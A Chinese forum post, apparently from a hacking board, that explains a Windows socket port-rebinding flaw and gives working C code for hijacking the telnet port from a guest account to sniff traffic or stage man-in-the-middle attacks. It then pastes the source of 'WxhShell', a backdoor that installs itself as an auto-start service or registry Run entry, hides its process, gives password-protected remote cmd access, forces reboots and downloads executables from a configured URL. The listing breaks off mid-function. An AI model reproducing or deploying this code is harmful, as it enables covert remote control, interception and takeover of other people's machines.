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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -|#/KKF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ec^{ez@`  
y<IHZq`C3  
  saddr.sin_family = AF_INET; ZiKO|U@/  
L1lDDS#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1HSt}  
xK[ [b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :1t&>x=T  
3k_\ xQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  RF<f  
oVUsI,8  
  这意味着什么?意味着可以进行如下的攻击: qe1>UfY  
,?K5/3ss  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Vx[Q=raS  
Z< C39s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jl;N Fk%  
}3 ~*/30V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yhK9rcJq6}  
-=:tlH n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yIpgZ0:h  
#Sy~t{4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i%f C`@  
_{LmJ?!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7]5+%[Dg!  
~PpU'[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "E5=AW d  
"_dJ4<8  
  #include 4u2_xbT  
  #include |d42?7}  
  #include Kzt:rhiB  
  #include    ='Oxy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (Ww SisC~  
  int main() 4,)QV_?  
  { (ux9"r^g;x  
  WORD wVersionRequested; ga1b%5]v.  
  DWORD ret; f e6Op  
  WSADATA wsaData; D@{m  
  BOOL val; d`?EEO  
  SOCKADDR_IN saddr; us8ce+  
  SOCKADDR_IN scaddr; H- WNu+  
  int err; l)KN5V  
  SOCKET s; dj,lbUL  
  SOCKET sc; 3uvl'1(%J  
  int caddsize; rP6k}  
  HANDLE mt; 7 oYD;li$k  
  DWORD tid;   kd p*6ynD  
  wVersionRequested = MAKEWORD( 2, 2 ); 9)b{U2&  
  err = WSAStartup( wVersionRequested, &wsaData ); ,pZz`B#  
  if ( err != 0 ) { LBpAR|  
  printf("error!WSAStartup failed!\n"); E>QEI;  
  return -1; guy!/zQ>A  
  } @[/!e`]+  
  saddr.sin_family = AF_INET; Vhm^<I-d  
   sdewz(xskj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v<0S@9~  
N'5DB[:c:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RzB64  
  saddr.sin_port = htons(23); 03 v\v9<T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #s}tH$MT#  
  { =/xXB  
  printf("error!socket failed!\n"); f|!@H><  
  return -1; {qry2ZT5  
  } LM.#~7jC  
  val = TRUE; 5(\[Gke  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lm'.G99{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]?jmRk^ .  
  { Gv(n2r  
  printf("error!setsockopt failed!\n"); <(qdxdUp  
  return -1; (ke<^sv7!  
  } b]8\% =d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I= z+`o8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .lc gM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,*p(q/kJh~  
!<-+}X+o8$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x||b :2  
  { b DF_  
  ret=GetLastError(); YWq{?'AaR  
  printf("error!bind failed!\n"); 4 >D5t)254  
  return -1; fG7-0 7  
  } +hT9V1'-D  
  listen(s,2); 5'0kf7  
  while(1) 38JU-aq  
  { n;dWb$:  
  caddsize = sizeof(scaddr);  q,'~=Y5  
  //接受连接请求 Dt]FmU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8wS9%+  
  if(sc!=INVALID_SOCKET) f K4M:_u  
  { } 4>#s$.2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  Z\$!:  
  if(mt==NULL) 61TL]S8  
  { S7hfwu&7F  
  printf("Thread Creat Failed!\n"); ! }awlv;  
  break; 1[dQVJqMp(  
  } dp1t]  
  } } M\G  
  CloseHandle(mt); wK%x|%R[  
  } /z(s1G.  
  closesocket(s); 69C ss'  
  WSACleanup(); rHtX4;f+><  
  return 0; Od]wh  
  }   c$3ZEe  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y9(BxDP_+Y  
  { ewinG-hX_  
  SOCKET ss = (SOCKET)lpParam; *-_joAWTG  
  SOCKET sc; IG@@CH  
  unsigned char buf[4096]; (b1rd  
  SOCKADDR_IN saddr; X`daaG_l  
  long num; W!Rr_'yFe)  
  DWORD val; ,Hsu ;I~  
  DWORD ret; ~U4;YlQP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZW8;?# _  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DZ;2aH  
  saddr.sin_family = AF_INET; (WS<6j[q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SYK?5_804  
  saddr.sin_port = htons(23); -(.\> F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -_Iuvw  
  { O$peCv   
  printf("error!socket failed!\n"); YpbJoHiSH  
  return -1; `JG7Pl/ih  
  } EY!P"u;  
  val = 100; $%J $  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vg"Ze[dA  
  { 5s2/YG=  
  ret = GetLastError(); >5]w\^QN9_  
  return -1; " []J[!}x  
  } 4> [tjz.?k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :20k6)  
  { A}n5dg0u  
  ret = GetLastError(); $S!WW|9j.  
  return -1; y/A<eHLy  
  } [$GQ]Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2$QuR~  
  { s}Sxl0  
  printf("error!socket connect failed!\n"); $L$GI~w/  
  closesocket(sc); p/uOCQ|1l  
  closesocket(ss); Fqp~1>wi  
  return -1; |teDe6 \m  
  } 2$%0~Z5  
  while(1) SxCzI$SGu  
  { o!t1EPJE*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vui{["  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  wZUR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l{x?i00tAS  
  num = recv(ss,buf,4096,0); m4@w M?  
  if(num>0) d "vd_}P~  
  send(sc,buf,num,0); (wsvj61  
  else if(num==0) j~Xn\~*n  
  break; 4&LoE~  
  num = recv(sc,buf,4096,0); TMQu'<?V  
  if(num>0) A&fh0E (t  
  send(ss,buf,num,0); c )o[3o7  
  else if(num==0) } u7&SU  
  break; q&wXs/$a  
  } 6Bm2_B  
  closesocket(ss); #3u471bp  
  closesocket(sc); -x1O|q69  
  return 0 ; pV))g e\  
  } ) N"gW*  
MtO p][i  
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========================================================== Ycx$CU C  
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下边附上一个代码,,WXhSHELL D+  **o  
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========================================================== QWGFXy,=1  
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#include "stdafx.h" Uyyw'Ni  
k||DcwO  
#include <stdio.h> J#W>%2 "s  
#include <string.h> &hYjQ&n  
#include <windows.h> jNNl5.  
#include <winsock2.h> t| zLR  
#include <winsvc.h> 6Gs,-Kb:  
#include <urlmon.h> &_E*]Sj\  
#0WO~wL  
#pragma comment (lib, "Ws2_32.lib") cBA2;5E  
#pragma comment (lib, "urlmon.lib") ,Pd2ZfZ  
[%8+Fa~Wa  
#define MAX_USER   100 // 最大客户端连接数 "]`QQT-{0  
#define BUF_SOCK   200 // sock buffer ^i^S1h"  
#define KEY_BUFF   255 // 输入 buffer j{'@g[HW  
gB@Wv9 1  
#define REBOOT     0   // 重启 .tb~f@xL  
#define SHUTDOWN   1   // 关机 3,B[%!3d  
I1H:h  
#define DEF_PORT   5000 // 监听端口 #B)`dA0a  
tgYIM`f  
#define REG_LEN     16   // 注册表键长度 4.dMNqU  
#define SVC_LEN     80   // NT服务名长度 b\\?aR |  
vu.f B4  
// 从dll定义API Ic/<jFZXM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kB]|4CG{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n%<.,(.(S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zj;y`ENj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F<w/@ .&m  
/bylA`IMW  
// wxhshell配置信息 `"CF/X^  
struct WSCFG { uS|Zkuk[!  
  int ws_port;         // 监听端口 {UYqRfgbZ  
  char ws_passstr[REG_LEN]; // 口令 uyG4zV\h*  
  int ws_autoins;       // 安装标记, 1=yes 0=no $P@P}%2  
  char ws_regname[REG_LEN]; // 注册表键名 e"|9%AW@<  
  char ws_svcname[REG_LEN]; // 服务名 J:mOg95<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %/MK$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wL 5).`oq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s}9aZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;o3 .<"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?t} [Wi}7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]yVB66l  
T "G!H  
}; m x,X!}  
.[Sv|;x"E  
// default Wxhshell configuration 9AL\6 @<a*  
struct WSCFG wscfg={DEF_PORT, )-a_,3x%j  
    "xuhuanlingzhe", C>;yW7*g"  
    1, r%'2a+}D  
    "Wxhshell", 5#f&WL*U@  
    "Wxhshell", nw5#/5xw  
            "WxhShell Service", oaBfq8,;  
    "Wrsky Windows CmdShell Service", 8a)EL*LH`  
    "Please Input Your Password: ", ESASsRzk  
  1, $@&bK2@.(  
  "http://www.wrsky.com/wxhshell.exe", ($W9 ?  
  "Wxhshell.exe" ccm <rZ7  
    }; "ej>1{3Y:=  
uR)@v^$FE  
// 消息定义模块 l1wxs@](  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Il;'s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z gU;=.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s/To|9D  
char *msg_ws_ext="\n\rExit."; !P92e1  
char *msg_ws_end="\n\rQuit."; Cm ;N5i  
char *msg_ws_boot="\n\rReboot..."; iy: ;g  
char *msg_ws_poff="\n\rShutdown..."; Y9w= [[1  
char *msg_ws_down="\n\rSave to "; \K?./*  
Y*Q( v  
char *msg_ws_err="\n\rErr!"; IW BVfN->}  
char *msg_ws_ok="\n\rOK!"; Z21XlbK   
(%fGS.TR  
char ExeFile[MAX_PATH]; vP~F+z @g  
int nUser = 0; Mc6Cte]3|  
HANDLE handles[MAX_USER]; nC&rQQFF  
int OsIsNt; @xkM|N?  
?I@3`?'  
SERVICE_STATUS       serviceStatus; wc,y+C#V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; In;z\"NN4  
uN\9c Q  
// 函数声明 Jc%>=`f  
int Install(void); &&<^wtznO  
int Uninstall(void); !J6s^um  
int DownloadFile(char *sURL, SOCKET wsh); #uXOyiE  
int Boot(int flag); X7 Za Q .  
void HideProc(void); _RmE+Xg2  
int GetOsVer(void); <WbD4Q<3?  
int Wxhshell(SOCKET wsl); Vi?Z`G]w!  
void TalkWithClient(void *cs); x.r`(  
int CmdShell(SOCKET sock); 2.lnT{  
int StartFromService(void); F9+d7 Y$  
int StartWxhshell(LPSTR lpCmdLine); O@=mN*<gg0  
R\Q%_~1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <zDe;&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \qTNWA #'  
G#*!)#M <  
// 数据结构和表定义 c3pt?C  
SERVICE_TABLE_ENTRY DispatchTable[] = Sl_zO?/PF  
{ B]qh22Yib  
{wscfg.ws_svcname, NTServiceMain}, YJ6vyG>%C  
{NULL, NULL} ' R@<4Ib|  
}; */+s^{W7  
a "1$z`ln  
// 自我安装 s]&y\Z  
int Install(void) 0F~9t !  
{ :<v$vER,&  
  char svExeFile[MAX_PATH]; q9!#S  
  HKEY key; 6aK--k  
  strcpy(svExeFile,ExeFile); =J'?>-B  
p.\KmEx  
// 如果是win9x系统,修改注册表设为自启动 ( gFA? aD<  
if(!OsIsNt) { &sNID4FR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y-X'eCUz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GSFT(XX  
  RegCloseKey(key); s+w<!`-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  !fV6KkV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ /BE=$E\  
  RegCloseKey(key); [:=[QlvV  
  return 0; 0l6djN  
    } z0UO<Y?9  
  } % b&BLXW  
} /uc/x+(_  
else { W|Tew-H{h_  
Rj&7|z  
// 如果是NT以上系统,安装为系统服务 Gehl/i-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U+RPn?Q  
if (schSCManager!=0) H'`(|$:|  
{ mT>p:G  
  SC_HANDLE schService = CreateService PmY:sJ{M  
  ( zn x_p /V  
  schSCManager, 0X-2).n u  
  wscfg.ws_svcname, \O?B9_  
  wscfg.ws_svcdisp, ri;M7rg`.{  
  SERVICE_ALL_ACCESS, Zs{R O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tz-cN  
  SERVICE_AUTO_START, Y_B 4s-  
  SERVICE_ERROR_NORMAL, iL gt_@g  
  svExeFile, {.OoOqq9  
  NULL, '9dtIW6E  
  NULL, Om"3Q/&  
  NULL, Mfr#IzNHN  
  NULL, <khAc1"  
  NULL UmE{>5Pt  
  ); Cr%r<*s  
  if (schService!=0) _Xv/S_yW  
  { >PVi 3S  
  CloseServiceHandle(schService); M(E_5@?3  
  CloseServiceHandle(schSCManager); *Kkw,qp/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'nS3o.}  
  strcat(svExeFile,wscfg.ws_svcname); )l}wjKfgO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @(?4g-*E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T6r~OV5  
  RegCloseKey(key); D` X6'PP  
  return 0; 8} k,!R[J  
    } Kzu9Qm-+z^  
  } F?ebY k1  
  CloseServiceHandle(schSCManager); 9GwsQ \  
} NETC{:j  
} c):*R ]=  
`6$b1qv,  
return 1; _fCHj$I*]  
} 6)$ N[FNs  
EXcjF  
// 自我卸载 xi\RUAW  
int Uninstall(void) wIj2 IAD  
{ P$ef,ZW"  
  HKEY key; Hu7zmh5FF  
[\ YP8^..  
if(!OsIsNt) { =*}Mymhk(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +|<&#b0Xd  
  RegDeleteValue(key,wscfg.ws_regname); aF"Z!HD  
  RegCloseKey(key); {:X];A$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]e~^YZOs  
  RegDeleteValue(key,wscfg.ws_regname); TkoXzG8yE<  
  RegCloseKey(key); * SMPHWH[c  
  return 0; F\rSYjMyk  
  } pe%)G6@G  
} Ur(o&,  
} .6F3;bg R7  
else { I?g__u=n~  
@qy*R'+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b[;3KmUB  
if (schSCManager!=0) 'aP*++^   
{ 73ljW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3F}KrG  
  if (schService!=0) 5yiiPK$qr  
  { f1$mh1J W  
  if(DeleteService(schService)!=0) { }C"*ACjF   
  CloseServiceHandle(schService); gA1in  
  CloseServiceHandle(schSCManager); p-r%MnT  
  return 0; 5@ +Ei25  
  } Z*>/@J}  
  CloseServiceHandle(schService); f$|v0Xs  
  } $2CGRhC  
  CloseServiceHandle(schSCManager); 0_mvz%[J  
} xt,L* B  
} *b{lL5  
)V/lRR&  
return 1; ?67I|@^  
} )9*3^v  
H8]^f=  
// 从指定url下载文件 %O=V4%"m\  
int DownloadFile(char *sURL, SOCKET wsh) Zt2@?w;  
{ 9Pp|d"6]y  
  HRESULT hr; M6*{#Y?  
char seps[]= "/"; 7jH`_58  
char *token; ~y H>Ko9F}  
char *file; [Um4\QvUx  
char myURL[MAX_PATH]; m{.M,Lm:  
char myFILE[MAX_PATH]; )B$P#dP)i  
#]DZrD&q  
strcpy(myURL,sURL); xqC<p`?4  
  token=strtok(myURL,seps); ?b7g9 G4  
  while(token!=NULL) nWF4[<t  
  { UZ\*]mxT  
    file=token; kF,\bM  
  token=strtok(NULL,seps); =&VXn{e  
  } 5 t`ap  
)USC  
GetCurrentDirectory(MAX_PATH,myFILE); ]z=Vc#+!  
strcat(myFILE, "\\"); ?g;ZbD  
strcat(myFILE, file); 3!9 yuf  
  send(wsh,myFILE,strlen(myFILE),0); IPR tm!  
send(wsh,"...",3,0); B4:l*P'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Vo}G %g  
  if(hr==S_OK) ;;'a--'"  
return 0; Ji:iKkI  
else 4<Sa,~4  
return 1; 7 Y>`-\  
MR_bq_)  
} RjGB#AK  
:-\ yy  
// 系统电源模块 %^5@z1d,  
int Boot(int flag) 42>m,fb2[  
{ iqednk%  
  HANDLE hToken; [x<6v}fRn  
  TOKEN_PRIVILEGES tkp; OW^2S_H5  
hJ[mf1je=  
  if(OsIsNt) { R=?po=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "c/s/$k//  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IbJ[Og^Qyu  
    tkp.PrivilegeCount = 1; 5nx<,-N*BP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Az< 9hk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yD"0=\  
if(flag==REBOOT) { ^[,s_34V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~x4B/zW?  
  return 0; oCKM5AVWsv  
} Hg9.<|+yo  
else { ?S&w0}R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sVZZp  
  return 0; ljJz#+H2_  
} /"Yx@n  
  } TA0D{  
  else { lg onR  
if(flag==REBOOT) { Rz zFhU#r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9S1Ti6A  
  return 0; ?YO =J  
} %]<RRH.w  
else { .^LL9{?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q^N0abzgP  
  return 0; ?ng14e  
} W~u   
} f' '{.L  
mUt,Z^ l`  
return 1; t*a*v;iz  
} t{X?PF\>o  
.'S^&M/$  
// win9x进程隐藏模块 Aa`MK$29F  
void HideProc(void) /:y2Up-  
{ NYjS  
MKe^_uF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [{@zb-h  
  if ( hKernel != NULL ) [X }@Ct6  
  { *vRI)>wU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J`r,_)J"2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JEsLF{  
    FreeLibrary(hKernel); ;wbUk5Tf/  
  } =a9etF%B  
~#x :z ^U  
return; NuD[-;N]  
} |)-|2cPRur  
'(*&Ax  
// 获取操作系统版本 AbF(MK=i  
int GetOsVer(void) om}/f`  
{ skI(]BDf  
  OSVERSIONINFO winfo; $7UoL,N>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v_z..-7Dq+  
  GetVersionEx(&winfo); oQ%\[s$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~M ,{ _  
  return 1; d@4rD}_Z  
  else `*NO_ K  
  return 0; hV-V eKjZ(  
} ~!ZmF(:  
T A\4uy6o  
// 客户端句柄模块 ou'~{-_xd  
int Wxhshell(SOCKET wsl) VT% KN`l  
{ (T|TEt  
  SOCKET wsh; i*S|qX7``  
  struct sockaddr_in client; CGC-"A/W  
  DWORD myID; pcy<2UV  
5{13 V*<  
  while(nUser<MAX_USER) <&5m N  
{ yuHZ&e  
  int nSize=sizeof(client); 2mqK3-c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KdT[*-  
  if(wsh==INVALID_SOCKET) return 1; DH:GI1Yu>I  
GIm " )}W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 46bl>yk9<  
if(handles[nUser]==0) \.H9$C$  
  closesocket(wsh); g@~!kh,TH  
else ](W5.a,-$L  
  nUser++; D XV@DQ  
  } 7}4'dW.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7G5y)Qb  
, 3X: )  
  return 0; TN35CaSmq  
} F{k$Atb?g/  
BXg!zW%+  
// 关闭 socket p$Kj<:qiP  
void CloseIt(SOCKET wsh) (j' {~FB  
{ 7qe7F l3  
closesocket(wsh); EntF@ln!  
nUser--; Y?yo\(Cdx  
ExitThread(0); D~#Ei?aH  
} %K[daXw6E8  
:O $@shV  
// 客户端请求句柄 J I<3\=:+  
void TalkWithClient(void *cs) FR:d^mL  
{ I-b_h5ZD6  
d2rL 8jW  
  SOCKET wsh=(SOCKET)cs; \q~w<%9Dq  
  char pwd[SVC_LEN]; -2F@~m|  
  char cmd[KEY_BUFF]; hv* >%p  
char chr[1]; g(aZT#ii=  
int i,j; QsiJ%O Q  
Q}kfM^i  
  while (nUser < MAX_USER) { ~U6" ?  
VeZey)Q  
if(wscfg.ws_passstr) { OAv>g pw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iF!mV5#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sd},_Kh  
  //ZeroMemory(pwd,KEY_BUFF); /X4yB"J>  
      i=0; zfhTc=(/  
  while(i<SVC_LEN) { .K IVf8)"  
=/FF1jQ  
  // 设置超时  gH %y  
  fd_set FdRead; w |_GV}#_  
  struct timeval TimeOut; o+nG3kRD  
  FD_ZERO(&FdRead); xXX/]x>  
  FD_SET(wsh,&FdRead); A\K,_&x1Z  
  TimeOut.tv_sec=8; )^4hQ3BS  
  TimeOut.tv_usec=0; NYBe"/}GS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KOjluP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gQ37>  
0rD#s{?   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mjb { ~  
  pwd=chr[0]; NbtGlSs8  
  if(chr[0]==0xd || chr[0]==0xa) { AoBoFZLl3  
  pwd=0; 9)`amhf>  
  break; z3a-+NjDm  
  } }e 9!xA  
  i++; ;54(+5pqx  
    } ;DuXS y!g  
[C1 LT2a  
  // 如果是非法用户,关闭 socket bAf,aV/C&|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g\U/&.}DN  
} wtXY: O  
%Rp8{.t7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UVz/n68\k7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 845 W>B  
bd!U)b(}OV  
while(1) { Cq>6rn  
< f(?T`  
  ZeroMemory(cmd,KEY_BUFF); z{:-!oF&CB  
f~ =r*&U  
      // 自动支持客户端 telnet标准   MIq"Wy|Zs  
  j=0; hSB?@I4s<\  
  while(j<KEY_BUFF) { Yi(1^'Bi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -v+&pG?m  
  cmd[j]=chr[0]; B5ea(j  
  if(chr[0]==0xa || chr[0]==0xd) { w u)Wg-dT  
  cmd[j]=0; i9rS6<V'  
  break; A>=E{  
  } +4et7  
  j++; %,\=s.~1  
    } xRum*}|4  
!K cWH9  
  // 下载文件 whye)w  
  if(strstr(cmd,"http://")) { DP 9LO_{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dC.bt|#Oz  
  if(DownloadFile(cmd,wsh)) /b5>Qp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6<X%\[)n  
  else -/ +#5.`1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ACg;CTB b  
  } pr tK:eGe2  
  else { 03=5Nof1  
A%u_&a}  
    switch(cmd[0]) { 3J~0O2  
  W @.Ji B  
  // 帮助 j8++R&1f]  
  case '?': { f'X9HU{Cz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g # S0V  
    break; ^s&W>hTX:  
  } 5.vG^T0w  
  // 安装 `&!k!FZY*  
  case 'i': { T%$jWndI  
    if(Install()) !^w E/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x5h~G  
    else $A2n{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k?*KnfVh!  
    break; _ \D"E>oM  
    } Y- )x Tn  
  // 卸载 |4;UyHh  
  case 'r': { u.,Q4u|!  
    if(Uninstall()) .@#A|fgv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vi?q>:E:  
    else z.36;yT/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X^s2BW  
    break; o(!@7Lqq  
    } a~PK pw2%  
  // 显示 wxhshell 所在路径 AiP!hw/V$  
  case 'p': { / vxm"CJR  
    char svExeFile[MAX_PATH]; os4{0Mxu  
    strcpy(svExeFile,"\n\r"); u5B:^.:p  
      strcat(svExeFile,ExeFile); dtZE67KS  
        send(wsh,svExeFile,strlen(svExeFile),0); 4;<ut$G  
    break; [1_A8s){u  
    } Vi *e@IP/  
  // 重启 8R/dA<Ww  
  case 'b': { 3BG>Y(v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;=4Xz\2  
    if(Boot(REBOOT)) *bd[S0l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $, 3J7l3  
    else { u JY)4T  
    closesocket(wsh); =>iA gp'#  
    ExitThread(0); jQS 6J+F]  
    } c9wfsapJ  
    break; UAn&\8g_  
    } AY,].Zg[  
  // 关机 cl@g  
  case 'd': { k^\pU\J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k&/OU:7Y  
    if(Boot(SHUTDOWN)) .uF[C{RnO  
